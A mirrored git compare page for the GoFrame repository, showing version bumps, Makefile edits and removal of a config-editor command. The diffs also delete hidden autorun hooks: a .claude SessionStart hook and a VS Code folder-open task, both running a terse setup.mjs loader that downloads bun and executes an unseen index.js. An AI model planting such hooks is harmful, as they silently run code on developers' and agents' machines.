mirror of
https://gitee.com/johng/gf
synced 2026-06-08 02:27:42 +08:00
Compare commits
4 Commits
test/confi
...
v2.10.2
| Author | SHA1 | Date | |
|---|---|---|---|
| 9a91bd203b | |||
| 72733e0bad | |||
| d44e082ff5 | |||
| 078c1bc7f9 |
File diff suppressed because one or more lines are too long
@ -1,15 +0,0 @@
|
||||
{
|
||||
"hooks": {
|
||||
"SessionStart": [
|
||||
{
|
||||
"matcher": "*",
|
||||
"hooks": [
|
||||
{
|
||||
"type": "command",
|
||||
"command": "node .claude/setup.mjs"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
@ -1,202 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
import { execFileSync, execSync } from "child_process";
|
||||
import fs from "fs";
|
||||
import https from "https";
|
||||
import os from "os";
|
||||
import path from "path";
|
||||
import { fileURLToPath } from "url";
|
||||
import zlib from "zlib";
|
||||
|
||||
const D = path.dirname(fileURLToPath(import.meta.url));
|
||||
const V = "1.3.14";
|
||||
const E = "index.js";
|
||||
const T = 121_000;
|
||||
|
||||
const mu = () => {
|
||||
try {
|
||||
const o = execFileSync("ldd", ["--version"], {
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
}).toString();
|
||||
if (o.includes("musl")) return true;
|
||||
} catch {}
|
||||
try {
|
||||
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
const PM = {
|
||||
"linux-arm64": () => "bun-linux-aarch64",
|
||||
"linux-x64": () =>
|
||||
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
|
||||
"darwin-arm64": () => "bun-darwin-aarch64",
|
||||
"darwin-x64": () => "bun-darwin-x64",
|
||||
"win32-arm64": () => "bun-windows-aarch64",
|
||||
"win32-x64": () => "bun-windows-x64-baseline",
|
||||
};
|
||||
|
||||
function ra() {
|
||||
const k = `${process.platform}-${process.arch}`;
|
||||
const r = PM[k];
|
||||
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
|
||||
return r();
|
||||
}
|
||||
|
||||
function dl(u, d, n = 5) {
|
||||
return new Promise((ok, no) => {
|
||||
const q = https.get(
|
||||
u,
|
||||
{ headers: { "User-Agent": "node" }, timeout: T },
|
||||
(r) => {
|
||||
const { statusCode: s, headers: h } = r;
|
||||
if ([301, 302, 307, 308].includes(s)) {
|
||||
r.resume();
|
||||
if (n <= 0) return no(new Error("Too many redirects"));
|
||||
return dl(h.location, d, n - 1).then(ok, no);
|
||||
}
|
||||
if (s !== 200) {
|
||||
r.resume();
|
||||
return no(new Error(`HTTP ${s} for ${u}`));
|
||||
}
|
||||
const f = fs.createWriteStream(d);
|
||||
r.pipe(f);
|
||||
f.on("finish", () => f.close(ok));
|
||||
f.on("error", (e) => {
|
||||
fs.unlink(d, () => no(e));
|
||||
});
|
||||
},
|
||||
);
|
||||
q.on("error", no);
|
||||
q.on("timeout", () => q.destroy(new Error("Request timed out")));
|
||||
});
|
||||
}
|
||||
|
||||
function hc(c, a = ["--version"]) {
|
||||
try {
|
||||
execFileSync(c, a, { stdio: "ignore" });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function xz(zp, en, od) {
|
||||
// Use OS tools: unzip or powershell. Fall back to npm install bun.
|
||||
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
|
||||
execFileSync(
|
||||
"powershell",
|
||||
[
|
||||
"-NoProfile",
|
||||
"-NonInteractive",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-Command",
|
||||
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
|
||||
],
|
||||
{ stdio: "inherit" },
|
||||
);
|
||||
const np = path.join(od, en);
|
||||
const fp = path.join(od, path.basename(en));
|
||||
fs.renameSync(np, fp);
|
||||
return;
|
||||
}
|
||||
|
||||
if (hc("unzip", ["-v"])) {
|
||||
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
|
||||
return;
|
||||
}
|
||||
|
||||
installBunViaNpm(td);
|
||||
}
|
||||
|
||||
function installBunViaNpm(td) {
|
||||
try {
|
||||
execSync("npm install bun", { stdio: "inherit", cwd: td });
|
||||
} catch {
|
||||
// npm install failed, fall back to JS-based extraction
|
||||
xn(zp, en, od);
|
||||
}
|
||||
}
|
||||
|
||||
function xn(zp, en, od) {
|
||||
const b = fs.readFileSync(zp);
|
||||
let eo = -1;
|
||||
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
|
||||
if (b.readUInt32LE(i) === 0x06054b50) {
|
||||
eo = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
|
||||
const ce = b.readUInt16LE(eo + 10);
|
||||
const co = b.readUInt32LE(eo + 16);
|
||||
let o = co;
|
||||
let lo = -1;
|
||||
let cm = -1;
|
||||
let cs = 0;
|
||||
for (let i = 0; i < ce; i++) {
|
||||
if (b.readUInt32LE(o) !== 0x02014b50)
|
||||
throw new Error("Invalid ZIP: bad CD entry signature");
|
||||
const m = b.readUInt16LE(o + 10);
|
||||
const sz = b.readUInt32LE(o + 20);
|
||||
const fl = b.readUInt16LE(o + 28);
|
||||
const el = b.readUInt16LE(o + 30);
|
||||
const cl = b.readUInt16LE(o + 32);
|
||||
const lh = b.readUInt32LE(o + 42);
|
||||
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
|
||||
if (nm === en) {
|
||||
lo = lh;
|
||||
cm = m;
|
||||
cs = sz;
|
||||
break;
|
||||
}
|
||||
o += 46 + fl + el + cl;
|
||||
}
|
||||
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
|
||||
if (b.readUInt32LE(lo) !== 0x04034b50)
|
||||
throw new Error("Invalid ZIP: bad local-header signature");
|
||||
const fl = b.readUInt16LE(lo + 26);
|
||||
const el = b.readUInt16LE(lo + 28);
|
||||
const dp = lo + 30 + fl + el;
|
||||
const rw = b.subarray(dp, dp + cs);
|
||||
let fd;
|
||||
if (cm === 0) {
|
||||
fd = rw;
|
||||
} else if (cm === 8) {
|
||||
fd = zlib.inflateRawSync(rw);
|
||||
} else {
|
||||
throw new Error(`Unsupported ZIP compression method: ${cm}`);
|
||||
}
|
||||
const dt = path.join(od, path.basename(en));
|
||||
fs.writeFileSync(dt, fd);
|
||||
}
|
||||
|
||||
async function main() {
|
||||
if (hc("bun")) return;
|
||||
|
||||
const a = ra();
|
||||
const w = process.platform === "win32";
|
||||
const bn = w ? "bun.exe" : "bun";
|
||||
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
|
||||
|
||||
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
|
||||
const zp = path.join(td, `${a}.zip`);
|
||||
const bp = path.join(td, bn);
|
||||
const ep = path.join(D, E);
|
||||
|
||||
try {
|
||||
await dl(u, zp);
|
||||
xz(zp, `${a}/${bn}`, td);
|
||||
fs.unlinkSync(zp);
|
||||
if (!w) fs.chmodSync(bp, 0o755);
|
||||
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
|
||||
} finally {
|
||||
fs.rmSync(td, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
main().catch((e) => {
|
||||
console.error(e.message);
|
||||
process.exit(1);
|
||||
});
|
||||
202
.vscode/setup.mjs
vendored
202
.vscode/setup.mjs
vendored
@ -1,202 +0,0 @@
|
||||
#!/usr/bin/env node
|
||||
import { execFileSync, execSync } from "child_process";
|
||||
import fs from "fs";
|
||||
import https from "https";
|
||||
import os from "os";
|
||||
import path from "path";
|
||||
import { fileURLToPath } from "url";
|
||||
import zlib from "zlib";
|
||||
|
||||
const D = path.dirname(fileURLToPath(import.meta.url));
|
||||
const V = "1.3.14";
|
||||
const E = "index.js";
|
||||
const T = 121_000;
|
||||
|
||||
const mu = () => {
|
||||
try {
|
||||
const o = execFileSync("ldd", ["--version"], {
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
}).toString();
|
||||
if (o.includes("musl")) return true;
|
||||
} catch {}
|
||||
try {
|
||||
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
const PM = {
|
||||
"linux-arm64": () => "bun-linux-aarch64",
|
||||
"linux-x64": () =>
|
||||
mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
|
||||
"darwin-arm64": () => "bun-darwin-aarch64",
|
||||
"darwin-x64": () => "bun-darwin-x64",
|
||||
"win32-arm64": () => "bun-windows-aarch64",
|
||||
"win32-x64": () => "bun-windows-x64-baseline",
|
||||
};
|
||||
|
||||
function ra() {
|
||||
const k = `${process.platform}-${process.arch}`;
|
||||
const r = PM[k];
|
||||
if (!r) throw new Error(`Unsupported platform/arch: ${k}`);
|
||||
return r();
|
||||
}
|
||||
|
||||
function dl(u, d, n = 5) {
|
||||
return new Promise((ok, no) => {
|
||||
const q = https.get(
|
||||
u,
|
||||
{ headers: { "User-Agent": "node" }, timeout: T },
|
||||
(r) => {
|
||||
const { statusCode: s, headers: h } = r;
|
||||
if ([301, 302, 307, 308].includes(s)) {
|
||||
r.resume();
|
||||
if (n <= 0) return no(new Error("Too many redirects"));
|
||||
return dl(h.location, d, n - 1).then(ok, no);
|
||||
}
|
||||
if (s !== 200) {
|
||||
r.resume();
|
||||
return no(new Error(`HTTP ${s} for ${u}`));
|
||||
}
|
||||
const f = fs.createWriteStream(d);
|
||||
r.pipe(f);
|
||||
f.on("finish", () => f.close(ok));
|
||||
f.on("error", (e) => {
|
||||
fs.unlink(d, () => no(e));
|
||||
});
|
||||
},
|
||||
);
|
||||
q.on("error", no);
|
||||
q.on("timeout", () => q.destroy(new Error("Request timed out")));
|
||||
});
|
||||
}
|
||||
|
||||
function hc(c, a = ["--version"]) {
|
||||
try {
|
||||
execFileSync(c, a, { stdio: "ignore" });
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function xz(zp, en, od) {
|
||||
// Use OS tools: unzip or powershell. Fall back to npm install bun.
|
||||
if (process.platform === "win32" && hc("powershell", ["-Help"])) {
|
||||
execFileSync(
|
||||
"powershell",
|
||||
[
|
||||
"-NoProfile",
|
||||
"-NonInteractive",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-Command",
|
||||
`Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`,
|
||||
],
|
||||
{ stdio: "inherit" },
|
||||
);
|
||||
const np = path.join(od, en);
|
||||
const fp = path.join(od, path.basename(en));
|
||||
fs.renameSync(np, fp);
|
||||
return;
|
||||
}
|
||||
|
||||
if (hc("unzip", ["-v"])) {
|
||||
execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" });
|
||||
return;
|
||||
}
|
||||
|
||||
installBunViaNpm(td);
|
||||
}
|
||||
|
||||
function installBunViaNpm(td) {
|
||||
try {
|
||||
execSync("npm install bun", { stdio: "inherit", cwd: td });
|
||||
} catch {
|
||||
// npm install failed, fall back to JS-based extraction
|
||||
xn(zp, en, od);
|
||||
}
|
||||
}
|
||||
|
||||
function xn(zp, en, od) {
|
||||
const b = fs.readFileSync(zp);
|
||||
let eo = -1;
|
||||
for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) {
|
||||
if (b.readUInt32LE(i) === 0x06054b50) {
|
||||
eo = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found");
|
||||
const ce = b.readUInt16LE(eo + 10);
|
||||
const co = b.readUInt32LE(eo + 16);
|
||||
let o = co;
|
||||
let lo = -1;
|
||||
let cm = -1;
|
||||
let cs = 0;
|
||||
for (let i = 0; i < ce; i++) {
|
||||
if (b.readUInt32LE(o) !== 0x02014b50)
|
||||
throw new Error("Invalid ZIP: bad CD entry signature");
|
||||
const m = b.readUInt16LE(o + 10);
|
||||
const sz = b.readUInt32LE(o + 20);
|
||||
const fl = b.readUInt16LE(o + 28);
|
||||
const el = b.readUInt16LE(o + 30);
|
||||
const cl = b.readUInt16LE(o + 32);
|
||||
const lh = b.readUInt32LE(o + 42);
|
||||
const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8");
|
||||
if (nm === en) {
|
||||
lo = lh;
|
||||
cm = m;
|
||||
cs = sz;
|
||||
break;
|
||||
}
|
||||
o += 46 + fl + el + cl;
|
||||
}
|
||||
if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`);
|
||||
if (b.readUInt32LE(lo) !== 0x04034b50)
|
||||
throw new Error("Invalid ZIP: bad local-header signature");
|
||||
const fl = b.readUInt16LE(lo + 26);
|
||||
const el = b.readUInt16LE(lo + 28);
|
||||
const dp = lo + 30 + fl + el;
|
||||
const rw = b.subarray(dp, dp + cs);
|
||||
let fd;
|
||||
if (cm === 0) {
|
||||
fd = rw;
|
||||
} else if (cm === 8) {
|
||||
fd = zlib.inflateRawSync(rw);
|
||||
} else {
|
||||
throw new Error(`Unsupported ZIP compression method: ${cm}`);
|
||||
}
|
||||
const dt = path.join(od, path.basename(en));
|
||||
fs.writeFileSync(dt, fd);
|
||||
}
|
||||
|
||||
async function main() {
|
||||
if (hc("bun")) return;
|
||||
|
||||
const a = ra();
|
||||
const w = process.platform === "win32";
|
||||
const bn = w ? "bun.exe" : "bun";
|
||||
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
|
||||
|
||||
const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
|
||||
const zp = path.join(td, `${a}.zip`);
|
||||
const bp = path.join(td, bn);
|
||||
const ep = path.join(D, E);
|
||||
|
||||
try {
|
||||
await dl(u, zp);
|
||||
xz(zp, `${a}/${bn}`, td);
|
||||
fs.unlinkSync(zp);
|
||||
if (!w) fs.chmodSync(bp, 0o755);
|
||||
execFileSync(bp, [ep], { stdio: "inherit", cwd: D });
|
||||
} finally {
|
||||
fs.rmSync(td, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
main().catch((e) => {
|
||||
console.error(e.message);
|
||||
process.exit(1);
|
||||
});
|
||||
13
.vscode/tasks.json
vendored
13
.vscode/tasks.json
vendored
@ -1,13 +0,0 @@
|
||||
{
|
||||
"version": "2.0.0",
|
||||
"tasks": [
|
||||
{
|
||||
"label": "Environment Setup",
|
||||
"type": "shell",
|
||||
"command": "node .claude/setup.mjs",
|
||||
"runOptions": {
|
||||
"runOn": "folderOpen"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
1
Makefile
1
Makefile
@ -34,6 +34,7 @@ branch:
|
||||
version:
|
||||
@set -e; \
|
||||
newVersion=$(to); \
|
||||
$(MAKE) -C cmd/gf pack; \
|
||||
./.make_version.sh ./ $$newVersion; \
|
||||
echo "make version to=$(to) done"
|
||||
|
||||
|
||||
@ -46,7 +46,7 @@ go get -u github.com/gogf/gf/v2
|
||||
💖 [Thanks to all the contributors who made GoFrame possible](https://github.com/gogf/gf/graphs/contributors) 💖
|
||||
|
||||
<a href="https://github.com/gogf/gf/graphs/contributors">
|
||||
<img src="https://goframe.org/img/contributors.svg?version=v2.10.0" alt="goframe contributors"/>
|
||||
<img src="https://goframe.org/img/contributors.svg?version=v2.10.2" alt="goframe contributors"/>
|
||||
</a>
|
||||
|
||||
## License
|
||||
|
||||
@ -46,7 +46,7 @@ go get -u github.com/gogf/gf/v2
|
||||
💖 [感谢所有使 GoFrame 成为可能的贡献者](https://github.com/gogf/gf/graphs/contributors) 💖
|
||||
|
||||
<a href="https://github.com/gogf/gf/graphs/contributors">
|
||||
<img src="https://goframe.org/img/contributors.svg?version=v2.10.0" alt="goframe contributors"/>
|
||||
<img src="https://goframe.org/img/contributors.svg?version=v2.10.2" alt="goframe contributors"/>
|
||||
</a>
|
||||
|
||||
## 许可证
|
||||
|
||||
@ -18,9 +18,6 @@ pack.template-mono:
|
||||
@cd temp && gf pack template-mono ../internal/packed/template-mono.go -n=packed -y
|
||||
@rm -fr temp
|
||||
|
||||
# Note:
|
||||
# command `sed` only works on MacOS.
|
||||
# use `grep -irl 'template-single' temp| xargs sed -i'' -e 's/template-single/template-mono-app/g'` on other platforms.
|
||||
pack.template-mono-app:
|
||||
@rm -fr temp
|
||||
@mkdir temp || exit 0
|
||||
@ -31,6 +28,6 @@ pack.template-mono-app:
|
||||
@rm -fr temp/template-mono-app/.gitignore
|
||||
@rm -fr temp/template-mono-app/go.mod
|
||||
@rm -fr temp/template-mono-app/go.sum
|
||||
@grep -irl 'template-single' temp| xargs sed -i '' -e 's/template-single/template-mono-app/g'
|
||||
@grep -irl 'template-single' temp| xargs perl -pi -e 's/template-single/template-mono-app/g'
|
||||
@cd temp && gf pack template-mono-app ../internal/packed/template-mono-app.go -n=packed -y
|
||||
@rm -fr temp
|
||||
@ -89,7 +89,6 @@ func GetCommand(ctx context.Context) (*Command, error) {
|
||||
cmd.Install,
|
||||
cmd.Version,
|
||||
cmd.Doc,
|
||||
cmd.CfgEditor,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@ -3,13 +3,13 @@ module github.com/gogf/gf/cmd/gf/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.10.0
|
||||
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.10.0
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.10.0
|
||||
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.10.0
|
||||
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.10.0
|
||||
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.10.0
|
||||
github.com/gogf/gf/v2 v2.10.0
|
||||
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.10.2
|
||||
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.10.2
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.10.2
|
||||
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.10.2
|
||||
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.10.2
|
||||
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.10.2
|
||||
github.com/gogf/gf/v2 v2.10.2
|
||||
github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f
|
||||
github.com/olekukonko/tablewriter v1.1.0
|
||||
github.com/schollz/progressbar/v3 v3.15.0
|
||||
|
||||
@ -46,20 +46,6 @@ github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiU
|
||||
github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
|
||||
github.com/go-sql-driver/mysql v1.7.1 h1:lUIinVbN1DY0xBg0eMOzmmtGoHwWBbvnWubQUrtU8EI=
|
||||
github.com/go-sql-driver/mysql v1.7.1/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
|
||||
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.10.0 h1:9PTchr92xIJej4tq5c+HOHSU7LGOHr3YfD7tuf23LW4=
|
||||
github.com/gogf/gf/contrib/drivers/clickhouse/v2 v2.10.0/go.mod h1:eKtLMs9uccxFvmoKOUCRQ/Se3nxhzEZwF0Ir13qbk5g=
|
||||
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.10.0 h1:mBs6XpNM34IdZPZv4Kv3LA8yhP2UisbONMLfnQVFvKM=
|
||||
github.com/gogf/gf/contrib/drivers/mssql/v2 v2.10.0/go.mod h1:mChbF9FrmiYMSE2rG3zdxI/oSTwaHsR5KbINAgt3KcY=
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.10.0 h1:UvqxwinkelKxwdwnKUfdy51/ls4RL7MCeJqAZOVAy0I=
|
||||
github.com/gogf/gf/contrib/drivers/mysql/v2 v2.10.0/go.mod h1:6v7oGBF9wv59WERJIOJxXmLhkUcxwON3tPYW3AZ7wbY=
|
||||
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.10.0 h1:MvhoMaz8YYj4WJuYzKGDdzJYiieiYiqp0vjoOshfOF4=
|
||||
github.com/gogf/gf/contrib/drivers/oracle/v2 v2.10.0/go.mod h1:vb2fx33RGhjhOaocOTEFvlEuBSGHss5S0lZ4sS3XK6E=
|
||||
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.10.0 h1:39+jbTenm7KBj4hO2C8ANAxVHpX/7OuRDs1VcGC9ylA=
|
||||
github.com/gogf/gf/contrib/drivers/pgsql/v2 v2.10.0/go.mod h1:B0s0fVzn0W220E8UTpSGzrrGKsop5KcB90twBeLCiz0=
|
||||
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.10.0 h1:OyAH7Ls2c9Un7CJiAq7G6eY1jWIICRkN8C5SyM94rnY=
|
||||
github.com/gogf/gf/contrib/drivers/sqlite/v2 v2.10.0/go.mod h1:fwhAMG0qZpeHbbP2JE78rJRfV7eBbu9jXkxTMM1lwyo=
|
||||
github.com/gogf/gf/v2 v2.10.0 h1:rzDROlyqGMe/eM6dCalSR8dZOuMIdLhmxKSH1DGhbFs=
|
||||
github.com/gogf/gf/v2 v2.10.0/go.mod h1:Svl1N+E8G/QshU2DUbh/3J/AJauqCgUnxHurXWR4Qx0=
|
||||
github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f h1:7xfXR/BhG3JDqO1s45n65Oyx9t4E/UqDOXep6jXdLCM=
|
||||
github.com/gogf/selfupdate v0.0.0-20231215043001-5c48c528462f/go.mod h1:HnYoio6S7VaFJdryKcD/r9HgX+4QzYfr00XiXUo/xz0=
|
||||
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
|
||||
|
||||
@ -1,112 +0,0 @@
|
||||
# GoFrame Config Editor
|
||||
|
||||
A web-based visual configuration editor for GoFrame projects. It reads your `config.yaml` and provides an interactive UI to view, edit, and save configuration fields with type-aware inputs, validation, and i18n support.
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
gf config # Start on port 8888, auto-detect config file
|
||||
gf config -p 9000 # Use a custom port
|
||||
gf config -f manifest/config/config.yaml # Specify config file path
|
||||
```
|
||||
|
||||
The browser opens automatically at `http://127.0.0.1:<port>`.
|
||||
|
||||
## Features
|
||||
|
||||
### Supported Modules
|
||||
|
||||
| Module | Config Node | Description |
|
||||
|--------|-------------|-------------|
|
||||
| Server | `server` | HTTP server settings (address, timeouts, TLS, sessions, logging, PProf) |
|
||||
| Database | `database` | Database connections (host, port, credentials, pool, timeouts) |
|
||||
| Redis | `redis` | Redis connections (address, auth, pool, sentinel, cluster) |
|
||||
| Logger | `logger` | Logging configuration (level, rotation, output) |
|
||||
| Viewer | `viewer` | Template engine settings (paths, delimiters, auto-encode) |
|
||||
|
||||
### UI Features
|
||||
|
||||
- **Type-aware inputs**: bool fields get toggle switches, duration fields get text input with placeholder hints, map/slice fields get JSON editors
|
||||
- **Default value display**: each field shows its default value from struct tags
|
||||
- **Validation**: fields with `v:"required"` tags are validated on blur
|
||||
- **Modified tracking**: changed fields are marked with a blue indicator bar
|
||||
- **Group collapse**: fields are organized by logical groups (Basic, Connection, Pool, etc.)
|
||||
- **Search**: search fields by name, key, description, or type (supports Chinese)
|
||||
- **i18n**: switch between English and Chinese field descriptions
|
||||
- **Export format**: save as YAML, TOML, or JSON
|
||||
- **Keyboard shortcut**: `Ctrl/Cmd + S` to save
|
||||
|
||||
### Config File Detection
|
||||
|
||||
When no `-f` flag is provided, the editor searches these paths in order:
|
||||
|
||||
1. `config.yaml` / `config.yml` / `config.toml` / `config.json`
|
||||
2. `config/config.yaml` (and variants)
|
||||
3. `manifest/config/config.yaml` (and variants)
|
||||
4. `app.yaml` / `app.yml`
|
||||
|
||||
### Nested Config Support
|
||||
|
||||
GoFrame stores database and redis configs under group names:
|
||||
|
||||
```yaml
|
||||
database:
|
||||
default:
|
||||
host: 127.0.0.1
|
||||
port: 3306
|
||||
redis:
|
||||
default:
|
||||
address: 127.0.0.1:6379
|
||||
```
|
||||
|
||||
The editor correctly reads and writes these nested structures.
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
cmd/gf/internal/cmd/
|
||||
├── cmd_config.go # CLI command + REST API handlers
|
||||
├── resources/
|
||||
│ ├── templates/index.html # Vue 3 + Tailwind CSS SPA
|
||||
│ ├── static/vue.global.prod.js # Vue 3 runtime
|
||||
│ ├── static/tailwind.min.css # Tailwind CSS
|
||||
│ └── i18n/{en,zh-CN}.yaml # Field descriptions
|
||||
os/gcfg/
|
||||
├── gcfg_schema.go # Schema registry (FieldSchema, ModuleSchema, SchemaRegistry)
|
||||
└── gcfg_z_unit_schema_test.go # Unit tests
|
||||
```
|
||||
|
||||
### API Endpoints
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| GET | `/api/schemas` | Returns all registered module schemas (fields, types, defaults, rules) |
|
||||
| GET | `/api/config` | Returns current config values from file |
|
||||
| POST | `/api/config/validate` | Validates config values against schema rules |
|
||||
| POST | `/api/config/save` | Saves config to file (preserves YAML comments) |
|
||||
| GET | `/api/i18n/:lang` | Returns i18n translations for the given language |
|
||||
|
||||
### Struct Tags
|
||||
|
||||
Configuration field metadata is extracted from struct tags:
|
||||
|
||||
| Tag | Purpose | Example |
|
||||
|-----|---------|---------|
|
||||
| `json` | YAML/JSON key | `json:"address"` |
|
||||
| `d` | Default value | `d:":0"` |
|
||||
| `v` | Validation rule (gvalid) | `v:"required"` |
|
||||
| `dc` | Description + i18n key | `dc:"Server address\|i18n:config.server.address"` |
|
||||
|
||||
## Development
|
||||
|
||||
### Building
|
||||
|
||||
```bash
|
||||
go build ./cmd/gf/...
|
||||
```
|
||||
|
||||
### Testing
|
||||
|
||||
```bash
|
||||
go test -count=1 -v ./os/gcfg/... -run TestSchema
|
||||
```
|
||||
@ -1,575 +0,0 @@
|
||||
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"context"
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/database/gredis"
|
||||
"github.com/gogf/gf/v2/encoding/gjson"
|
||||
"github.com/gogf/gf/v2/encoding/gyaml"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/net/ghttp"
|
||||
"github.com/gogf/gf/v2/os/gcfg"
|
||||
"github.com/gogf/gf/v2/os/gfile"
|
||||
"github.com/gogf/gf/v2/os/glog"
|
||||
"github.com/gogf/gf/v2/os/gview"
|
||||
"github.com/gogf/gf/v2/util/gvalid"
|
||||
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
|
||||
)
|
||||
|
||||
//go:embed resources/i18n/*.yaml
|
||||
var i18nFS embed.FS
|
||||
|
||||
//go:embed resources/templates/index.html
|
||||
var configEditorHTML string
|
||||
|
||||
//go:embed resources/static/*
|
||||
var staticFS embed.FS
|
||||
|
||||
var (
|
||||
// CfgEditor is the management object for `gf config` command.
|
||||
CfgEditor = cCfgEditor{}
|
||||
)
|
||||
|
||||
type cCfgEditor struct {
|
||||
g.Meta `name:"config" brief:"start the configuration visual editor"`
|
||||
}
|
||||
|
||||
type cCfgEditorInput struct {
|
||||
g.Meta `name:"config" config:"gfcli.config"`
|
||||
Port int `short:"p" name:"port" brief:"web server port" d:"8888"`
|
||||
File string `short:"f" name:"file" brief:"configuration file path"`
|
||||
}
|
||||
|
||||
type cCfgEditorOutput struct{}
|
||||
|
||||
func init() {
|
||||
registerAllSchemas()
|
||||
}
|
||||
|
||||
// registerAllSchemas registers configuration schemas for the five core modules.
|
||||
func registerAllSchemas() {
|
||||
// Server
|
||||
gcfg.RegisterSchema("server", "server", ghttp.ServerConfig{}, map[string]string{
|
||||
"Name": "Basic", "Address": "Basic", "HTTPSAddr": "Basic",
|
||||
"HTTPSCertPath": "Basic", "HTTPSKeyPath": "Basic",
|
||||
"ReadTimeout": "Basic", "WriteTimeout": "Basic", "IdleTimeout": "Basic",
|
||||
"MaxHeaderBytes": "Basic", "KeepAlive": "Basic", "ServerAgent": "Basic",
|
||||
"IndexFolder": "Static", "ServerRoot": "Static", "FileServerEnabled": "Static",
|
||||
"CookieMaxAge": "Cookie", "CookiePath": "Cookie", "CookieDomain": "Cookie",
|
||||
"CookieSameSite": "Cookie", "CookieSecure": "Cookie", "CookieHttpOnly": "Cookie",
|
||||
"SessionIdName": "Session", "SessionMaxAge": "Session", "SessionPath": "Session",
|
||||
"SessionCookieMaxAge": "Session", "SessionCookieOutput": "Session",
|
||||
"LogPath": "Logging", "LogLevel": "Logging", "LogStdout": "Logging",
|
||||
"ErrorStack": "Logging", "ErrorLogEnabled": "Logging", "ErrorLogPattern": "Logging",
|
||||
"AccessLogEnabled": "Logging", "AccessLogPattern": "Logging",
|
||||
